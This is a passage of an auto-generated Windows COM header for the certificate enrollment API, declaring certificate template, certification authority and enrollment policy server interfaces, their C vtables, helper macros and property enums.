0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Property( \n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Property( \n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [in] */ VARIANT value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateTemplateWritableVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateTemplateWritable * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateTemplateWritable * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateTemplateWritable * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *Commit )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ CommitTemplateFlags commitFlags,\n            /* [in] */ __RPC__in BSTR strServerContext);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Property )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Property )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [in] */ VARIANT value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateTemplateWritableVtbl;\n\n    interface IX509CertificateTemplateWritable\n    {\n        CONST_VTBL struct IX509CertificateTemplateWritableVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateTemplateWritable_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateTemplateWritable_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateTemplateWritable_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateTemplateWritable_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateTemplateWritable_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateTemplateWritable_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateTemplateWritable_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateTemplateWritable_Initialize(This,pValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pValue) ) \n\n#define IX509CertificateTemplateWritable_Commit(This,commitFlags,strServerContext)\t\\\n    ( (This)->lpVtbl -> Commit(This,commitFlags,strServerContext) ) \n\n#define IX509CertificateTemplateWritable_get_Property(This,property,pValue)\t\\\n    ( (This)->lpVtbl -> get_Property(This,property,pValue) ) \n\n#define IX509CertificateTemplateWritable_put_Property(This,property,value)\t\\\n    ( (This)->lpVtbl -> put_Property(This,property,value) ) \n\n#define IX509CertificateTemplateWritable_get_Template(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateTemplateWritable_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0070 */\n/* [local] */ \n\ntypedef \nenum EnrollmentCAProperty\n    {\n        CAPropCommonName\t= 1,\n        CAPropDistinguishedName\t= 2,\n        CAPropSanitizedName\t= 3,\n        CAPropSanitizedShortName\t= 4,\n        CAPropDNSName\t= 5,\n        CAPropCertificateTypes\t= 6,\n        CAPropCertificate\t= 7,\n        CAPropDescription\t= 8,\n        CAPropWebServers\t= 9,\n        CAPropSiteName\t= 10,\n        CAPropSecurity\t= 11,\n        CAPropRenewalOnly\t= 12\n    } \tEnrollmentCAProperty;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0070_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0070_v0_0_s_ifspec;\n\n#ifndef __ICertificationAuthority_INTERFACE_DEFINED__\n#define __ICertificationAuthority_INTERFACE_DEFINED__\n\n/* interface ICertificationAuthority */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificationAuthority;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"835D1F61-1E95-4bc8-B4D3-976C42B968F7\")\n    ICertificationAuthority : public IDispatch\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Property( \n            /* [in] */ enum EnrollmentCAProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertificationAuthorityVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificationAuthority * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificationAuthority * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificationAuthority * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificationAuthority * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificationAuthority * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificationAuthority * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificationAuthority * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Property )( \n            __RPC__in ICertificationAuthority * This,\n            /* [in] */ enum EnrollmentCAProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue);\n        \n        END_INTERFACE\n    } ICertificationAuthorityVtbl;\n\n    interface ICertificationAuthority\n    {\n        CONST_VTBL struct ICertificationAuthorityVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificationAuthority_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificationAuthority_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificationAuthority_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificationAuthority_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificationAuthority_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificationAuthority_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificationAuthority_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificationAuthority_get_Property(This,property,pValue)\t\\\n    ( (This)->lpVtbl -> get_Property(This,property,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificationAuthority_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificationAuthorities_INTERFACE_DEFINED__\n#define __ICertificationAuthorities_INTERFACE_DEFINED__\n\n/* interface ICertificationAuthorities */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificationAuthorities;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"13b79005-2181-11da-b2a4-000e7bbb2b09\")\n    ICertificationAuthorities : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthority **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICertificationAuthority *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ComputeSiteCosts( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthority **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertificationAuthoritiesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificationAuthorities * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificationAuthorities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificationAuthorities * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthority **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ __RPC__in_opt ICertificationAuthority *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICertificationAuthorities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ComputeSiteCosts )( \n            __RPC__in ICertificationAuthorities * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthority **ppValue);\n        \n        END_INTERFACE\n    } ICertificationAuthoritiesVtbl;\n\n    interface ICertificationAuthorities\n    {\n        CONST_VTBL struct ICertificationAuthoritiesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificationAuthorities_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificationAuthorities_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificationAuthorities_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificationAuthorities_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificationAuthorities_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificationAuthorities_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificationAuthorities_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificationAuthorities_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICertificationAuthorities_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICertificationAuthorities_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICertificationAuthorities_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICertificationAuthorities_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICertificationAuthorities_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICertificationAuthorities_ComputeSiteCosts(This)\t\\\n    ( (This)->lpVtbl -> ComputeSiteCosts(This) ) \n\n#define ICertificationAuthorities_get_ItemByName(This,strName,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,strName,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificationAuthorities_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0072 */\n/* [local] */ \n\ntypedef \nenum X509EnrollmentPolicyLoadOption\n    {\n        LoadOptionDefault\t= 0,\n        LoadOptionCacheOnly\t= 1,\n        LoadOptionReload\t= 2,\n        LoadOptionRegisterForADChanges\t= 4\n    } \tX509EnrollmentPolicyLoadOption;\n\n\nenum EnrollmentPolicyFlags\n    {\n        DisableGroupPolicyList\t= 0x2,\n        DisableUserServerList\t= 0x4\n    } ;\ntypedef \nenum PolicyServerUrlPropertyID\n    {\n        PsPolicyID\t= 0,\n        PsFriendlyName\t= 1\n    } \tPolicyServerUrlPropertyID;\n\ntypedef \nenum X509EnrollmentPolicyExportFlags\n    {\n        ExportTemplates\t= 0x1,\n        ExportOIDs\t= 0x2,\n        ExportCAs\t= 0x4\n    } \tX509EnrollmentPolicyExportFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0072_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0072_v0_0_s_ifspec;\n\n#ifndef __IX509EnrollmentPolicyServer_INTERFACE_DEFINED__\n#define __IX509EnrollmentPolicyServer_INTERFACE_DEFINED__\n\n/* interface IX509EnrollmentPolicyServer */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EnrollmentPolicyServer;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"13b79026-2181-11da-b2a4-000e7bbb2b09\")\n    IX509EnrollmentPolicyServer : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR bstrPolicyServerUrl,\n            /* [in] */ __RPC__in BSTR bstrPolicyServerId,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ VARIANT_BOOL fIsUnTrusted,\n            /* [in] */ X509CertificateEnrollmentContext context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE LoadPolicy( \n            /* [in] */ X509EnrollmentPolicyLoadOption option) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetTemplates( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplates **pTemplates) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCAsForTemplate( \n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthorities **ppCAs) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCAs( \n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthorities **ppCAs) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Validate( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCustomOids( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppObjectIds) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetNextUpdateTime( \n            /* [retval][out] */ __RPC__out DATE *pDate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetLastUpdateTime( \n            /* [retval][out] */ __RPC__out DATE *pDate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPolicyServerUrl( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPolicyServerId( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetFriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetIsDefaultCEP( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetUseClientId( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetAllowUnTrustedCA( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCachePath( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCacheDir( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetAuthFlags( \n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE SetCredential( \n            /* [in] */ LONG hWndParent,\n            /* [in] */ X509EnrollmentAuthFlags flag,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE QueryChanges( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeImport( \n            /* [in] */ VARIANT val) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Export( \n            /* [in] */ X509EnrollmentPolicyExportFlags exportFlags,\n            /* [retval][out] */ __RPC__out VARIANT *pVal) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Cost( \n            /* [retval][out] */ __RPC__out DWORD *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Cost( \n            /* [in] */ DWORD value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentPolicyServerVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EnrollmentPolicyServer * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EnrollmentPolicyServer * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EnrollmentPolicyServer * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in BSTR bstrPolicyServerUrl,\n            /* [in] */ __RPC__in BSTR bstrPolicyServerId,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ VARIANT_BOOL fIsUnTrusted,\n            /* [in] */ X509CertificateEnrollmentContext context);\n        \n        HRESULT ( STDMETHODCALLTYPE *LoadPolicy )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ X509EnrollmentPolicyLoadOption option);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTemplates )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplates **pTemplates);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAsForTemplate )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthorities **ppCAs);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAs )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthorities **ppCAs);\n        \n        HRESULT ( STDMETHODCALLTYPE *Validate )( \n            __RPC__in IX509EnrollmentPolicyServer * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCustomOids )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppObjectIds);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetNextUpdateTime )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out DATE *pDate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetLastUpdateTime )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out DATE *pDate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPolicyServerUrl )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPolicyServerId )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE 